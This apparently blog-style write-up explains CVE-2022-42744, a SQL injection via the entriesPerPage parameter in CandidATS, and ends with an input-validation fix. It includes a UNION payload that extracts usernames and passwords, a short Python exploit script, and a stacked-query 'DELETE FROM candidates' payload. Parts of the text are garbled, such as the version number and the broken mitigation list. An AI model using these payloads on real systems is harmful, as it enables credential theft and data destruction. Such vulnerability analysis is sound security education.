In the world of recruitment software, security doesn’t always get the spotlight it deserves. CandidATS—an open-source applicant tracking system—made headlines after the disclosure of CVE-2022-42744. This vulnerability let attackers perform Create, Read, Update, and Delete (CRUD) operations on the application’s database, all because of a common mistake: failure to validate user inputs, specifically the entriesPerPage parameter. In this post, we’ll break down the discovery, impact, and exploitation of this bug using easy-to-understand language and real code labs.
Software Affected: CandidATS version 3..
- Vulnerability: Unvalidated parameter (entriesPerPage) allows SQL Injection, leading to full control over database records.
This lets a remote attacker interact with your precious data without needing an account. Let’s see how.
To fetch pages of entries (like job candidates), CandidATS expects a URL parameter
GET /candidates.php?entriesPerPage=10
That should let you pick how many items display per page. Instead of limiting this parameter to safe numbers (like 5, 10, 25...), the system simply slaps it into a SQL query, as-is, trusting whatever the user types.
Here’s a simplified view of what happens inside candidates.php
// candidates.php (simplified and for illustration)
$entriesPerPage = $_GET['entriesPerPage']; // 🚨 UNTRUSTED!
$sql = "SELECT * FROM candidates LIMIT $entriesPerPage"; // 🚨 DANGER!
$result = mysqli_query($db, $sql);
The code takes your browser input and drops it directly inside the LIMIT clause of a SQL statement. There is zero escape, check, or restriction.
The attacker handcrafts the URL
GET /candidates.php?entriesPerPage=10 UNION SELECT 1, username, password, 4, 5 FROM users--
What happens?
CandidATS runs this SQL
SELECT * FROM candidates LIMIT 10 UNION SELECT 1, username, password, 4, 5 FROM users--
Depending on the backend and the number of fields selected, this inserts the entire users table (including passwords) into the page for every user to see.
Here’s a simple exploit to pull usernames and hashes
import requests
url = "http://targetsite/candidates.php";
payload = "10 UNION SELECT 1, username, password, 4, 5 FROM users-- "
params = {"entriesPerPage": payload}
response = requests.get(url, params=params)
print(response.text) # Parse for user/password data!
If the endpoint allows, attackers can use stacked queries (if the DB supports it)
GET /candidates.php?entriesPerPage=10; DELETE FROM candidates;--
Insert fake candidates or jobs
And all that, from a public web page with a simple browser or script.
$entriesPerPage = (int)$_GET['entriesPerPage'];
$entriesPerPage = min(max($entriesPerPage, 1), 100); // Clamp between 1 and 100
`
3. Update CandidATS: If you’re running a vulnerable version, patch immediately or limit public access.
References
- NVD - CVE-2022-42744 Details
- Original Disclosure on GitHub
- OWASP SQL Injection Guide
Final Thoughts
CVE-2022-42744 is a textbook lesson: *never trust user input*. Even something as innocent as a pagination control can turn into a disaster if unchecked. If you run recruitment (or any open-source) software, audit those GET and POST parameters—your data, and your users, deserve it.
Have you patched your CandidATS yet?
Let us know your tips for SQLi defense in the comments!
*(This analysis is unique and based on CVE-2022-42744. Please use responsibly!)*
Timeline
Published on: 11/03/2022 20:15:00 UTC
Last modified on: 11/05/2022 00:32:00 UTC